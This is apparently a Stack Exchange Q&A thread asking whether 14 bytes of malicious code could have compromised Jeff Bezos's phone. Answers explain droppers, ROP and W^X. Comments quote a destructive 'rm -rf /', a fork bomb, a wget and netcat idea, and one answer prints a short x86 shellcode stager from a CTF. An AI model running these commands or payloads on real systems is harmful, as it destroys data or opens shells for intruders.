80

I was reading this The New York Times (NYT) article about the hack of Jeff Bezos's phone. The article states:

The May 2018 message that contained the innocuous-seeming video file, with a tiny 14-byte chunk of malicious code, came out of the blue

What malicious code could possibly be contained in 14-bytes? That doesn't seem nearly enough space to contain the logic outlined by the NYT article. The article states that shortly after the message was received, the phone began sending large amounts of data.

19
  • 7
    Not really on par with the intended spy-code ... I once found a 18 byte "small" .com executable on one of the computers in our universities pools available to students. Without thinking too much - all brought in disks and so on had to be virus-scanned - I executed that file .. and lo and behold .. it wiped the system drive c: .... was a "neat" surprise for the technicians working there, no real data was lost luckily because those were all on network shares - but reinstalling operating system and applications took half a workday
    – eagle275
    Jan 23, 2020 at 10:32
  • 60
    rm -rf / is 8 bytes and might be considered malicious in some contexts.
    – 8bittree
    Jan 23, 2020 at 18:11
  • 37
    @8bittree sudo rm -rf /\nis exactly 14 (counting that \n as the one-byte Unix/Linux linefeed character, not the DOS/Windows CR+LF combo). Jan 23, 2020 at 18:17
  • 36
    :(){ :|:& };:\n also has 14 chars. Jan 23, 2020 at 19:16
  • 14
    It's a shame that it wasn't 13 bytes... that would have been really... unlucky.
    – Michael
    Jan 24, 2020 at 6:11

6 Answers 6

100

Yes, it can. It could be just the trigger vulnerability which would load data on specific areas of the movie in memory and execute.

The malicious part can be pretty small, and the payload could be stored elsewhere. After extracting and executing the payload, additional modules can be downloaded, doing way more than the loader.

It's like most malware infections work: a small component, called the "dropper", is executed first and it downloads and executes other modules, until the entire malware is downloaded and executed. Those 14 bytes may very much be a dropper.

In this specific case, those 14 bytes could load parts of the movie on memory, load its address into the register, and jump into it. Examining only the video would not show anything suspicious, as the code would look like video data (or metadata), but the 14 bytes from the loader would stand out.

16
  • 24
    @Anders : it doesn't have to "download" anything in the sense you download something from a website. All it has to do is to point somewhere inside the video file, where there is some larger executable code embedded in metadata or into some slightly noisy-looking part of the image.
    – vsz
    Jan 23, 2020 at 10:44
  • 14
    @Anders wget ti.ny/éř3A. Actual wget requires the protocol to be included in the URL, ti.ny isn't an actual URL minifier, and four bytes is awfully few for a URL ID even with unicode ... but the idea is there... or I could just invoke nc-l in four bytes and then let the outside world do the rest. Jan 23, 2020 at 10:56
  • 4
    @JohnDvorak I would not expect a vulnerability in a video player to take bash commands, but rather machine code. But that is perhaps not a sound assumption on my part.
    – Anders
    Jan 23, 2020 at 11:42
  • 17
    @Anders I resonate with that assumption, but machine code can invoke OS functions. In the olden DOS days this was done via software interrupts, these days it's more likely a funcall. So... 1+4 bytes to invoke the invoke shell OS method, 4 bytes for the string pointer function argument and up to 8 bytes for the shell command itself and one byte for the string terminator? It's a tight fit, but a fit nevertheless. Jan 23, 2020 at 11:48
  • 11
    Remember that an IPv4 address only requires 4 bytes; you don't need a domain name.
    – Dancrumb
    Jan 23, 2020 at 22:11
34

It really depends on the programming language and the context into which the code is being injected.

For examples of what can be done in a very small amount of code space, check out the Code Golf Stack Exchange site.

7
  • 3
    Too bad maliciousness is hard to gauge objectively, otherwise this question would be getting cross-posted.
    – HAEM
    Jan 23, 2020 at 14:34
  • 7
    to be fair many of these answers use golfing languages for which there is most likely no interpreter available on the phone.
    – findusl
    Jan 23, 2020 at 16:04
  • 10
    @findusl: Some people do golf in x86 machine code, e.g. Tips for golfing in x86/x64 machine code. Or less frequently ARM machine code, like this 40-byte Adler-32 in ARM Thumb-2 machine code I posted: Compute the Adler-32 checksum. Of course exploits are more usually about getting existing code in a process to do something, so just setting up args to a library function, not injecting new code that implements an algorithm. Jan 24, 2020 at 0:53
  • @PeterCordes yes they do program in machine code but they usually don't get the shortest answers. I took a look through the current top code golf questions and there are quite a few answers in under 13 bytes but not a single one is in a language that would run on an iPhone without some interpreter.
    – findusl
    Jan 24, 2020 at 8:02
  • 5
    @findusl: did you miss the part where I said implementing an algorithm in machine code is usually not what exploits do? Instead just pass args to an existing function. Or in a more likely ROP attack, the payload is mostly return addresses not code at all. (machine-code injection is hard; W^X done right defeats it.) And sure, even x86 machine code isn't usually as small as golfing-language source code, but on some questions it's equal or better. e.g. GCD in 8 bytes for x86, chroma key in 13 Jan 24, 2020 at 8:46
23

It can absolutely fit. For example, this CTF challenge solution attacks a binary that executes ~12 bytes. The payload sent is:

0:  54                      push   rsp
1:  5e                      pop    rsi
0000000000000002 <y>:
2:  31 e2                   xor    edx,esp
4:  0f 05                   syscall
6:  eb fa                   jmp    2 <y>

(assumes all registers are zeroed out)

This is only 8 bytes for a complete pwn which gives you code execution, which then leads to a remote shell.

Of course, this is highly targeted, but it serves as an example.

1
  • That's x86 machine code, but ARM Thumb2 machine code is also 2 bytes per instruction if you avoid any long instructions. (The push/pop at the start is just a 2-byte way to copy a 64-bit register, vs. mov rsi, rsp needing a REX prefix). Thumb2 has 2-byte mov reg,reg, I think even for mov r1, sp to copy the stack pointer to the 2nd syscall-arg-passing register.) Jan 25, 2020 at 15:41
14

As I am assuming that the 14 bytes within the video file triggers some memory vulnerability, as Peter Cordes said, those 14 bytes are machine code!

That is a very important fact, as many people answering here is thinking about source code, characters and all. All of that takes ~8 bits / 1 byte per character. So with 14 characters, one possibly cannot do so much.

But those 14 bytes are for sure binary! So, taking into account an ARM CPU, where one instruction is 32 bit width, including arguments, and an IP address is 32 bit. There's plenty of space to put that IP address into memory and perform a syscall.

3
  • 11
    It's more likely to be Thumb2 code, so 2 bytes per instruction. Especially since there's 14 bytes, not 12 or 16.
    – patstew
    Jan 23, 2020 at 17:22
  • 14 Bytes might be enough to setup a single Syscall with limited parameters, but you will have to be very sneaky to use that to exfiltrate app data on a mobile.
    – eckes
    Jan 23, 2020 at 22:16
  • x86 would be even more compact than thumb2
    – phuclv
    Jan 24, 2020 at 15:04
10

True code-injection (of executable machine code) is normally pretty well defended against by non-executable stacks, and W^X (write xor exec) page permissions in general.

If we're talking about a buffer overflow, more typical modern payloads are some return addresses for a ROP attack. This isn't code in the traditional sense, just the address of code fragments already present in memory. (Perhaps as the last 2 bytes of a 4 byte instruction, if we're talking about ARM Thumb2 mode, since this was a phone.)

e.g. if you can find code that gets the right data into registers and then returns, you can put the address for that, and then the address of system() in libc, on the stack. So execution reaches system() with a pointer to a string in the right place for it to treat it as the first arg.

That string could be something that happened to be in memory, or it could be the non-code part of the payload.

By the time the information has been diluted this far by tech journalism, it's hard to guess what exactly it's talking about or rule out any possibilities.

1

For fourteen (or any number) bytes in a message to be executed would presumably require a bug in the O.S.

But if executed, it could certainly call other code already in the system (the existence or nature of which might also be a bug).

Or, in a JPEG, an embedded preview could contain more code called by the fourteen bytes.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .